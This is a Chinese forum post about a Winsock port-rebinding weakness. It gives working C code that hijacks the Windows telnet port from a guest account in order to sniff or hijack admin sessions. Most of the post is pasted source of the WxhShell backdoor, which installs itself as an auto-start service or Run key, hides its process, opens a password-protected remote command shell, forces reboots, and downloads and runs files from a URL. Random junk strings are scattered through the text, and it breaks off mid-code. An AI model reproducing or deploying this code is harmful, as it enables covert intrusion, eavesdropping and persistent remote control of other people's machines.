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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wmr-}Y!9u%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &Bb<4R  
 @gGRm  
  saddr.sin_family = AF_INET; 6~meM@  
DrW#v-d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [|`U6 8}u  
L *[K>iW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }1 vT)  
_1Z=q.sC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lt'I,Xt  
TB6m0qX(  
  这意味着什么?意味着可以进行如下的攻击: >"3>s%  
#S g\q8(O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <msxHw  
s$h] G[x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !7B\Xl'S  
)o _j]K+xI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {[Q0qi =  
d?,M/$h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  0\{BWNK  
OU DcY@x~  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^ ?hA@{T/1  
N^?9ZO   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Wk;5/  
iP~,n8W  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pj|pcv^  
1m<RwI3s  
  #include q(^Q3  
  #include |w}w.%  
  #include 6`01EIk  
  #include    hm$X]H`uMX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jZfx Jm  
  int main() U$&hZ_A  
  { iGXI6`F"  
  WORD wVersionRequested; U4?(A@z9^  
  DWORD ret; m@Ev~~;  
  WSADATA wsaData; $9 p!Y}  
  BOOL val; 7J$b$P0}  
  SOCKADDR_IN saddr; {0\,0*^p  
  SOCKADDR_IN scaddr; Y o0FUj  
  int err; =(AtfW^H  
  SOCKET s; n_K~ vD  
  SOCKET sc; T>>YNaUL  
  int caddsize; z;u> Yz+3  
  HANDLE mt; DLE8+NV8   
  DWORD tid;   vy@rQC %9  
  wVersionRequested = MAKEWORD( 2, 2 ); WUdKLx %F  
  err = WSAStartup( wVersionRequested, &wsaData ); e= P  
  if ( err != 0 ) { JYqSL)Ta*t  
  printf("error!WSAStartup failed!\n"); nCg66-3A  
  return -1; m,LG=s  
  } lEL78l.  
  saddr.sin_family = AF_INET; 01a-{&   
   3Q}$fQ&S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !,$i6gm  
^u)z{.z'H/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `<\}FS`'  
  saddr.sin_port = htons(23); f}%D"gz  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H!e 3~+)  
  { {xcZ*m!B  
  printf("error!socket failed!\n"); -XoPia2  
  return -1; pI`?(5iK6|  
  } ~.Ik#At  
  val = TRUE; G* %t'jX9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 D?jk$^p~m#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s)A<=)w/e  
  { % u{W7  
  printf("error!setsockopt failed!\n"); JD>d\z2QC  
  return -1; [ Mg8/Oy  
  } 2pHR_mrb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,n,RFa  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I 1d0iU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 yKagT$-  
=?0lA_ 0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $L4/I!Yf  
  { 5vzceQE}  
  ret=GetLastError(); E&$_`m;  
  printf("error!bind failed!\n"); v'2[[u{7*  
  return -1; vZ7gS  
  } FaTa(3$%  
  listen(s,2); 9V uq,dv  
  while(1) pC,o2~%{  
  { rf+:=|/_3  
  caddsize = sizeof(scaddr); G%p~m%zIK  
  //接受连接请求 &>WWzikB*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "e3["'  
  if(sc!=INVALID_SOCKET) pV p:@0h  
  { `i~ Y Fr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .@ C{3$,VG  
  if(mt==NULL) UUo;`rkT  
  { Cm$1$?J  
  printf("Thread Creat Failed!\n"); +#@"*yj3  
  break; }0 hL~i  
  } N<|$h5isq  
  } 2g{)AtK$#  
  CloseHandle(mt); 2],_^XBvB  
  } p4>$z& _  
  closesocket(s); #h!*dj"  
  WSACleanup(); 9ch#}/7B  
  return 0; Z[!d*O%R_  
  }   Ey{%XR+*;  
  DWORD WINAPI ClientThread(LPVOID lpParam) T70QJ=,  
  { k#TYKft  
  SOCKET ss = (SOCKET)lpParam; %WG9 dYdS  
  SOCKET sc; 31+;]W=  
  unsigned char buf[4096]; aMARZ)V  
  SOCKADDR_IN saddr; v;#=e$%}MO  
  long num; W) j|rz.  
  DWORD val; ?eV(1 Fr@  
  DWORD ret; .V9e=yW!*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [ //R~i?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V+-$ jOh  
  saddr.sin_family = AF_INET; C8N{l:1f]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); uNbH\qd=  
  saddr.sin_port = htons(23); gQSNU_o Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v}G]X Z8  
  { z7.|fE)<6  
  printf("error!socket failed!\n"); _?7#MWe&  
  return -1; C9n}6Er=,  
  } >C WKH~  
  val = 100; 5(2|tJw-H;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "bg'@:4F  
  { 3LR p2(A  
  ret = GetLastError(); ;Lw{XqT  
  return -1; M_ 0zC1  
  } ? ]sM8Bd}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7fp(R&)1  
  { HJ?+A-n/  
  ret = GetLastError(); WzW-pV]  
  return -1; D*5hrkV9  
  } y< R=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PeX1wK%f  
  { !2CL1j0(  
  printf("error!socket connect failed!\n"); $m1<i?'m  
  closesocket(sc); YIt9M,5/Q  
  closesocket(ss); M x5`yT7  
  return -1; gsar[gZ  
  } sH,kW|D  
  while(1) gMWBu~;!  
  { AEmNHO@%q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >M%\T}5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 j83? m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {eJt,[Y *  
  num = recv(ss,buf,4096,0); X C86-b)E  
  if(num>0) z@s5m}  
  send(sc,buf,num,0); 5\mTr)\R  
  else if(num==0) 1:C:?ZC#c  
  break; n6WY&1ZE~  
  num = recv(sc,buf,4096,0); wCMQPt)VS  
  if(num>0) +`mGK:>  
  send(ss,buf,num,0); Z!d7&T}  
  else if(num==0) =+5,B\~q@C  
  break; ,?UM;^  
  } Eu}b8c  
  closesocket(ss); 5/",<1  
  closesocket(sc); 6[ qA`x#  
  return 0 ; pN6%&@) =  
  } x"kjs.d7[<  
J;t 7&Zpe  
v1U?&C  
========================================================== )/ Ud^wi  
r r`;W}3  
下边附上一个代码,,WXhSHELL =*BIB5  
{ kSf{>Ia  
========================================================== rjt8fN  
Mvj;ic6iK  
#include "stdafx.h" H?1xjY9sl  
MmPU7Nl%X  
#include <stdio.h> _3iHkQr  
#include <string.h> #H [Bb2(j  
#include <windows.h> !9*c8bL D  
#include <winsock2.h> i LBvGZ<9  
#include <winsvc.h> # m R4fst  
#include <urlmon.h> Y&H}xn  
C-eA8pYY/  
#pragma comment (lib, "Ws2_32.lib") # M, 7  
#pragma comment (lib, "urlmon.lib") )"(]Lf's  
Zd^6ulx  
#define MAX_USER   100 // 最大客户端连接数 !{et8F@d|  
#define BUF_SOCK   200 // sock buffer %m,6}yt  
#define KEY_BUFF   255 // 输入 buffer @tohNO>  
"|Fy+'5}  
#define REBOOT     0   // 重启 $\o {_?}1  
#define SHUTDOWN   1   // 关机 DDT_kK;  
xp'_%n~K@  
#define DEF_PORT   5000 // 监听端口 }UJv[  
p?[Tm*r  
#define REG_LEN     16   // 注册表键长度 k- V,~c  
#define SVC_LEN     80   // NT服务名长度 ~9^)wCM+  
rVvR!"//yH  
// 从dll定义API 5 hj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VpfUm?Nq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'X).y1'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0<"k8 k@J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <tpmUA[]  
[%~ :@m  
// wxhshell配置信息  UsGa  
struct WSCFG { 5wB =>  
  int ws_port;         // 监听端口 HjvCujJ  
  char ws_passstr[REG_LEN]; // 口令 ~I/@i  
  int ws_autoins;       // 安装标记, 1=yes 0=no M}:=zcZ l  
  char ws_regname[REG_LEN]; // 注册表键名 CZnK8&VDY  
  char ws_svcname[REG_LEN]; // 服务名 j hYToMq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _LP/!D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +h^jC9,m~{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mE O \r|A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8,D 2^Gg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (@X~VACT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wc3kO'J  
fy@avo9  
}; H>Q%"|  
&*G<a3 Q  
// default Wxhshell configuration j.~!dh$mg  
struct WSCFG wscfg={DEF_PORT, ]$afC!Z  
    "xuhuanlingzhe", G CRz<)1  
    1, -U~   
    "Wxhshell", 2Y}?P+:%>  
    "Wxhshell", h'J|K^na  
            "WxhShell Service", !f>d_RG  
    "Wrsky Windows CmdShell Service", rrg96WD  
    "Please Input Your Password: ",  $p!yhn7  
  1, xX3'bsN  
  "http://www.wrsky.com/wxhshell.exe", ^ PI5L  
  "Wxhshell.exe" ~vLW.:  
    }; gM>t0)mGK  
L!/\8-&$P  
// 消息定义模块 ERwHLA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V^y^ ;0I}[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ')a(.f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T@}|zDC#  
char *msg_ws_ext="\n\rExit."; .)1_Ew  
char *msg_ws_end="\n\rQuit."; hPq%L c  
char *msg_ws_boot="\n\rReboot..."; g&dPd7  
char *msg_ws_poff="\n\rShutdown..."; IcP)FB 4  
char *msg_ws_down="\n\rSave to "; 4=uhh  
_AV1WS;^^8  
char *msg_ws_err="\n\rErr!"; 4?N8R$  
char *msg_ws_ok="\n\rOK!"; }'r[m5T  
r|4t aV&  
char ExeFile[MAX_PATH]; j Ja$a [  
int nUser = 0; Nu8Sr]p  
HANDLE handles[MAX_USER]; a`Gx=8  
int OsIsNt; 8eA+d5k\.  
Vz14j_  
SERVICE_STATUS       serviceStatus; >+. ( r]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [{4 MR%--  
T0)4v-EO  
// 函数声明 U$oduY#  
int Install(void); \ w3]5gJZ  
int Uninstall(void); %B.D^]S1:  
int DownloadFile(char *sURL, SOCKET wsh); nEzf.[+9/  
int Boot(int flag); 80A.<=(=.  
void HideProc(void); f= >O J!:  
int GetOsVer(void); ?!qY,9lhH  
int Wxhshell(SOCKET wsl); TJE\A)|>g  
void TalkWithClient(void *cs); 6y%0`!  
int CmdShell(SOCKET sock); Y@'8[]=0  
int StartFromService(void); .4. b*5  
int StartWxhshell(LPSTR lpCmdLine); 5cx#SD&5/  
}@if6(0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qf@I)4'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &d7Z6P'`G  
A^Kbsc  
// 数据结构和表定义 ]weoTn:  
SERVICE_TABLE_ENTRY DispatchTable[] = NvM*h%ChM  
{ .ROznCe}  
{wscfg.ws_svcname, NTServiceMain}, "#mBcQ;QLV  
{NULL, NULL} S9HwIH\m  
}; }68i[v9Njk  
a^,(v  
// 自我安装 w[P4&?2:  
int Install(void) ,C3,TkA]  
{ }kg ye2[  
  char svExeFile[MAX_PATH]; q2HYiH^L  
  HKEY key; 4k./(f2+  
  strcpy(svExeFile,ExeFile); &.TTJsKG h  
U%0Ty|$Y   
// 如果是win9x系统,修改注册表设为自启动 gGfoO[B  
if(!OsIsNt) { UH7jP#W%=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z{?G.L*/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s3Cc;#  
  RegCloseKey(key); Jk,;JQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = k\J<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :qC '$dO!  
  RegCloseKey(key); r1RGTEkD  
  return 0; +{sqcr1G  
    } s/089jlc  
  } )O:0 ]=#))  
} h gJ[LU|>  
else { |>@W ]CX[  
@{Gncy|  
// 如果是NT以上系统,安装为系统服务 iQ{G(^sZN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \"hJCP?,  
if (schSCManager!=0) ctcS:<r/3@  
{ V|\7')Qq  
  SC_HANDLE schService = CreateService qZ@s#UiB  
  ( e%W$*f  
  schSCManager, yCCrK@{oo  
  wscfg.ws_svcname, U`hY{E;  
  wscfg.ws_svcdisp, F5S@I;   
  SERVICE_ALL_ACCESS, 4&l10fR5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uw lr9nB  
  SERVICE_AUTO_START, iiK]l   
  SERVICE_ERROR_NORMAL, Sna4wkbS  
  svExeFile, Haqm^Ky$  
  NULL, >:lnt /N3  
  NULL, hB{jUP) ";  
  NULL, ^pHq66d%Z  
  NULL, },|M9 I0  
  NULL n]he-NHP  
  ); #m={yck *  
  if (schService!=0) T0]MuIJ).  
  { s(W|f|R  
  CloseServiceHandle(schService); +{/  
  CloseServiceHandle(schSCManager); >M&3Y XC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ](|\whI  
  strcat(svExeFile,wscfg.ws_svcname); ID/ F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3G kv4,w<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k5]j.V2f  
  RegCloseKey(key); nT2)E&U6%  
  return 0; aMTu-hA  
    } qx%}knB  
  } \6\<~UX^  
  CloseServiceHandle(schSCManager); qP<Lr)nUH  
} v0L\0&+  
} s&j-\bOic9  
=hl}.p  
return 1; DK}"b}Fvq  
} gCyW Vp  
j&k6O1_  
// 自我卸载 0Fu~%~#E$  
int Uninstall(void) + nF'a(  
{ G8Du~h!!U  
  HKEY key; oY, %Iq  
.YuJJJv  
if(!OsIsNt) { "Wx]RN:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NIw\}[-Z0E  
  RegDeleteValue(key,wscfg.ws_regname); 5xL~`-IA&v  
  RegCloseKey(key); 0Lb4'25.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TsTPj8GAl[  
  RegDeleteValue(key,wscfg.ws_regname); ({o'd=nO  
  RegCloseKey(key); K$d$m <  
  return 0; hJPlq0C  
  } fDSv?crv  
} 7B?c{  
} 8g7<KKw  
else { uG<}N=  
MHa#?Q9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *z7dl5xJ  
if (schSCManager!=0) )+fh-Ui  
{ {AQ=<RDRF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #Qkroji qw  
  if (schService!=0) c/ uNM  
  { x#:| }pR  
  if(DeleteService(schService)!=0) { "^Ybs'-  
  CloseServiceHandle(schService); G+F: 99A  
  CloseServiceHandle(schSCManager); !^ _ "~  
  return 0; %.vVEy  
  } `/_G$_  
  CloseServiceHandle(schService); 4ni3kmvX  
  } M+x,opl  
  CloseServiceHandle(schSCManager); 0x!2ihf  
} Fgh]KQ/5  
} QPq7R  
KZeQ47|  
return 1; ]~Z6;  
} 0#MqD[U(  
//aF5 :Y#  
// 从指定url下载文件 %'T #pz  
int DownloadFile(char *sURL, SOCKET wsh) =)7s$ p  
{ LcE+GC  
  HRESULT hr; ."Y e\>k  
char seps[]= "/"; bwl|0"f+`  
char *token; gmm.{%1_I;  
char *file; ?^N3&ukkyo  
char myURL[MAX_PATH]; O]m+u  
char myFILE[MAX_PATH]; 'g{9@PkGn  
S<J}[I7V  
strcpy(myURL,sURL); y\x+  
  token=strtok(myURL,seps); 3*@5S]]  
  while(token!=NULL) [n/hkXa$\  
  { b Ax?&$  
    file=token; `HBf&Z  
  token=strtok(NULL,seps); OD_W8!-  
  } d \35a4l  
GDuMY\1  
GetCurrentDirectory(MAX_PATH,myFILE); \W`w` o  
strcat(myFILE, "\\"); fYW6b[lI  
strcat(myFILE, file); x)_0OR2lkp  
  send(wsh,myFILE,strlen(myFILE),0); n\Lb.}]1~  
send(wsh,"...",3,0); l\n@cQR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kTvd+TP4  
  if(hr==S_OK) 9 '2_  
return 0; t N2Md}@e  
else !e?.6% %   
return 1; R,Vd.-5M  
c?@T1h4  
} OiP!vn}k  
n-@j5w+k4  
// 系统电源模块 u#@Q:tnN_  
int Boot(int flag) q?ix$nKOv  
{ NhYLt w^u  
  HANDLE hToken; Q6r7.pk"SU  
  TOKEN_PRIVILEGES tkp; pn^ d]rou?  
G2FXrkU  
  if(OsIsNt) { J^g!++|2P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |.3DD"*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S)/_muP  
    tkp.PrivilegeCount = 1; to$h2#i_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a.zpp'cEb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \~_9G{2?  
if(flag==REBOOT) { f@c`8L@g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~b2wBs)r  
  return 0; wLH] <k  
} nxl[d\ap+n  
else { VZl6t;cn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +) m_o"hl  
  return 0; Pp5^@A  
} lO_UPC\@fw  
  } %p 0xM  
  else { {qa Aq%'  
if(flag==REBOOT) { h?azFA~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) C;vtY[}<  
  return 0; Vkc#7W(  
} w/K_B:s  
else { aVd,xl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :]1 TGfS  
  return 0; 2Roc|)-47  
} Kp,M"Y  
} aT$9;  
Xqm::1(-(  
return 1; .>IhN 5  
} s]JF0584  
_> *j H'  
// win9x进程隐藏模块 !U~WK$BP  
void HideProc(void) c?,i3s+2Y  
{ VH1d$  
=>! Y{: y(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); '^"6+k  
  if ( hKernel != NULL ) X.e7A/ClEo  
  { 5>\/[I/!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BV[5}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w&KK3*=""  
    FreeLibrary(hKernel); n .RhxgC<  
  } w:<W.7y?0  
_}En/V_  
return; A`}rqhU.{-  
} ^:Gie  
n= u&uqA*  
// 获取操作系统版本 4zo5}L `Y  
int GetOsVer(void) % V ;?  
{ M%0C_=zg  
  OSVERSIONINFO winfo; JQ@E>o7_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [YcG(^^  
  GetVersionEx(&winfo); McQe1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d $Pab*  
  return 1; 2 FW \O0U  
  else oczN5YSt  
  return 0; `6xkf&Kt  
} lh;:M -b9  
>M/V oV  
// 客户端句柄模块 ixT:)|'i  
int Wxhshell(SOCKET wsl) )}?#  
{ A?pbWt ~}  
  SOCKET wsh; g #6E|n  
  struct sockaddr_in client; &mtJRfnu  
  DWORD myID; HI11Jl}{  
=^5Alb a/  
  while(nUser<MAX_USER) KW^7H  
{ jyZWV L:_  
  int nSize=sizeof(client); 9AJ7h9L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XnWr5-;  
  if(wsh==INVALID_SOCKET) return 1; N/K.%<h  
9B7^lR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SV~~Q_U9  
if(handles[nUser]==0) PJL=$gBgKk  
  closesocket(wsh); Rw:*'1  
else HEM9E&rL  
  nUser++; } =]M2}  
  } 3S}Pm2D2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w_{wBL[3e  
hK,Sf ;5V  
  return 0; pj?f?.^  
} Xn%pNxUL  
L>R P-x>  
// 关闭 socket Ls] g  
void CloseIt(SOCKET wsh) R'@9]99  
{ #odIEC/  
closesocket(wsh); n4#;k=mA  
nUser--; n$ou- Q  
ExitThread(0); 4s*ZS}] o  
} u;/ Vyu  
x}"uZ$g  
// 客户端请求句柄 N<-gI9_  
void TalkWithClient(void *cs) j4R(B  
{ 5X:*/FuS@  
ry`z(f  
  SOCKET wsh=(SOCKET)cs; 8;+B*+%@n  
  char pwd[SVC_LEN]; 'GS"8w~j  
  char cmd[KEY_BUFF]; T, )__h  
char chr[1]; 428>BQA  
int i,j; io{@^1ab  
Qh'ATo  
  while (nUser < MAX_USER) { 1NgCw\  
9vvx*rD  
if(wscfg.ws_passstr) { W)f/0QX}W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @3C>BLI8+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =t H:,SH  
  //ZeroMemory(pwd,KEY_BUFF); 5?F__Hx*2  
      i=0; Bx4w)9+3  
  while(i<SVC_LEN) { U_n9]Z  
([m mPyp>L  
  // 设置超时 Lja>8m  
  fd_set FdRead; yooX$  
  struct timeval TimeOut; ;CPr]avY  
  FD_ZERO(&FdRead); [J4gH^Z_  
  FD_SET(wsh,&FdRead); E{Ov>osq  
  TimeOut.tv_sec=8; "q.\>MCv  
  TimeOut.tv_usec=0; J2xw) +  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~ijVmWNk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Q/TlOt5  
ov_j4 j>6P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [8=vv7wS  
  pwd=chr[0]; )E-inHD /  
  if(chr[0]==0xd || chr[0]==0xa) { c_'OPJ  
  pwd=0; to DG7XN}  
  break; M$>1L  
  } 3 +G$-ru  
  i++; bj>v|#r^  
    } rzm:Yx  
fj;y}t1E]  
  // 如果是非法用户,关闭 socket n O\"HLM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0dGAP  
} e'~J,(fB  
5?3Me59  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b2OQtSr a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =IQ5<;U3  
#AL=f'2=f  
while(1) { DkvF5c&  
W"}M1o  
  ZeroMemory(cmd,KEY_BUFF); <FcG oGK  
~&7MkkftM  
      // 自动支持客户端 telnet标准   06c>$1-?  
  j=0; O Hb[qX\  
  while(j<KEY_BUFF) { ?"i}^B`*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g" .are'7  
  cmd[j]=chr[0]; LH kc7X$  
  if(chr[0]==0xa || chr[0]==0xd) { e :%ieH<  
  cmd[j]=0; WSp  
  break; O$&mFL[`  
  } ,}EC F>  
  j++; &3J_^210  
    } i*Sqda $  
7 /VK##z  
  // 下载文件 b`~p.c%(  
  if(strstr(cmd,"http://")) { w&o&jAb-M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $Bs {u=+w  
  if(DownloadFile(cmd,wsh)) )ttUWy$w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HUv/ ~^<  
  else 8&?s#5zA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i]6`LqlO  
  } =}DR) 9  
  else { g1W.mAA3B  
V C24sU  
    switch(cmd[0]) { V-Sd[  
  h?BFvbAt  
  // 帮助 T"E6y"D  
  case '?': { i+S) K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?fUlgQ }N  
    break; Jrti cK$  
  } aTqd@},?  
  // 安装 V )x$|!(  
  case 'i': { D6>2s\:>vp  
    if(Install()) CF&6J$ZBgJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \]2]/=2tLd  
    else \Zqng  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); naYrpK,.  
    break; [z`31F  
    } MGR!Z@1y  
  // 卸载 ;CmS ~K:  
  case 'r': { Y2ZT.l  
    if(Uninstall()) F`Q[6"<a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW@oyZUj  
    else zQ@I}K t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m'6&9Ja k  
    break; {|&5_][  
    } (Pf+0,2  
  // 显示 wxhshell 所在路径 aJ-K?xQ  
  case 'p': { A: 5x|  
    char svExeFile[MAX_PATH]; .TND  a&  
    strcpy(svExeFile,"\n\r"); )Ch2E|C?=8  
      strcat(svExeFile,ExeFile); 4cabP}gBk  
        send(wsh,svExeFile,strlen(svExeFile),0); g`vny)\7/  
    break; aT)BR?OYSJ  
    } oX S1QT`B  
  // 重启 gQxbi1!;9  
  case 'b': { Bm.:^:&k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <acUKfpY  
    if(Boot(REBOOT)) xLNtIzx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:JJ3X|  
    else { %C~1^9uq  
    closesocket(wsh); 2 Ga7$q  
    ExitThread(0); hb zC#@ q  
    } wKZ$iGMbz  
    break; `\T]ej}zvI  
    } \>:CvTzF  
  // 关机 x(etb<!jd  
  case 'd': { #{?PbBE}  
